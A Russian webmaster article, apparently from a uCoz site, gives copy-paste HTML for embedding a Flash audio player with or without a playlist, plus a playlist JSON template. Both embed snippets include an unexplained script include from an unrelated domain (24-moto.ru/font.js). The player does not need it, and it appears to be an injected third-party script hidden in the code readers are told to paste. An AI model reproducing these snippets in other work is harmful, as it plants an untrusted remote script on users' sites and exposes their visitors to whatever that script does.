Вторник, 26.09.2017, 19:15 На www.hinam.ucoz.ru Вы сможете найти все для создания и раскрутки сайта.
Главная Регистрация Вход
Приветствую Вас, Гость · RSS

Меню сайта
Категории раздела
про банеры [2]
Поисковые машины [12]
Язык поисковых машин
Оптимизация, раскрутка и реклама [46]
WEB мастеру - на заметку [24]
Разное [21]
про товары и услуги [32]
самое популярное
CyberBoard 1.1 для раскрутки сайтов
Значение тега DOCTYPE
Коды ошибок и их расшифровка при работе с Windows
JavaScript за 24 часа для чайников
Наш опрос
Была ли найдена интересующая вас информация

Всего ответов: 243
 Каталог статей
Главная » Статьи » WEB мастеру - на заметку

Аудиоплеер серого цвета с плейлистом


Аудиоплеер имеет размеры 305Х235 и оснащён плейлистом который может содержать любое количество музыкальных композиций или радиопотоков. Воспроизведение музыки автоматически не переключается на следующую, каждую мелодию нужно включать индивидуально. Для установки понадобится скопировать весь код из примера, создать текстовый документ для плейлиста или скачать готовый и составить список воспроизводимых композиций. После составления списка воспроизведения закачайте готовый файл файл плейлиста на сервер своего сайта и укажите путь к нему в коде плеера и поместите весь код плеера там где хотите его видеть. Установка кода аудиоплеера производится в любом месте поддерживающем HTML редактирование. Аудиоплеер может работать без плейлиста, воспроизводя одну композицию.

Код для установки аудиоплеера с плейлистом

Вам потребуется заменить ссылку ( http://pnghosts.ru/js_css/playlist-demo.txt ) на Ваш плейлист и установить код там где будет находиться аудиоплеер с плейлистом.

Код
<script language="JavaScript" src="//pnghosts.ru/js_css/swfobject1.js"></script>
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><div id="audioplayer"></div>
<script>
var flashvars = {"uid":"audioplayer","m":"audio","st":"http://pnghosts.ru/js_css/wahiteaudio-pl-305X36.txt","pl":"http://pnghosts.ru/js_css/playlist-demo.txt"};
var params = {id:"audioplayer",allowFullScreen:"true",allowScriptAccess:"always",wmode:"transparent"};
new swfobject.embedSWF("http://pnghosts.ru/js_css/uppod.swf", "audioplayer", "305", "235", "10.0.0", "expressInstall.swf", flashvars, params);
</script>


Пример файла плейлиста аудиоплеера

Впишите название композиции и ссылку на неё, количество песен в плейлисте может быть любым, можно использовать радиопотоки, они вписываются аналогично музыкальным ссылкам. При формировании плейлиста нельзя создавать пробелы и переносы в строках. Ячейка одной композиции выглядит так:
{"comment":"НАЗВАНИЕ","file":"ССЫЛКА НА МУЗЫКУ"}
Обратите внимание, между ячейками стоит запятая, её нет только после последней.

Код
{"playlist":[{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"},{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"},{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"}]}


Код для установки аудиоплеера без плейлиста



Аудиоплеер с размерами 305Х36 будет оснащён только одной музыкальной композицией или радиопотоком, для добавления измените ссылку http://SITE.RU/SOUNDS.mp3 на свою.

Код
<script language="JavaScript" src="//pnghosts.ru/js_css/swfobject.js"></script>
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><div id="audioplayerds"></div>
<script>
var flashvars = {"uid":"audioplayerds","m":"audio","st":"http://pnghosts.ru/js_css/whiteaudio-pl-305X36.txt","file":"http://SITE.RU/SOUNDS.mp3"};
var params = {id:"audioplayerds",allowFullScreen:"true",allowScriptAccess:"always",wmode:"transparent"};
new swfobject.embedSWF("http://pnghosts.ru/js_css/uppod.swf", "audioplayerds", "305", "36", "10.0.0", "expressInstall.swf", flashvars, params);
</script>


Категория: WEB мастеру - на заметку | Добавил: Bitfood (03.03.2014)
Просмотров: 156 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Хостинг от uCoz www.hinam.ucoz.ru - все для создания и раскрутки сайта.
Форма входа
новые регистрации
  • jablonsky
  • germanvonotto
  • grechking-grechkin
  • incognitom
  • от авторитета
    Free Monitor for Google
    Banner Maker Pro v6.0.7
    Advanced Mass Sender v4.3...
    TheBat! v3.99.3 Professio...
    Наша кнопка
    Разместите, пожалуйста у себя на сайте нашу кнопочку. После этого сообщите нам на @mail и мы добавим ваш сайт в наш каталог ссылок. Спасибо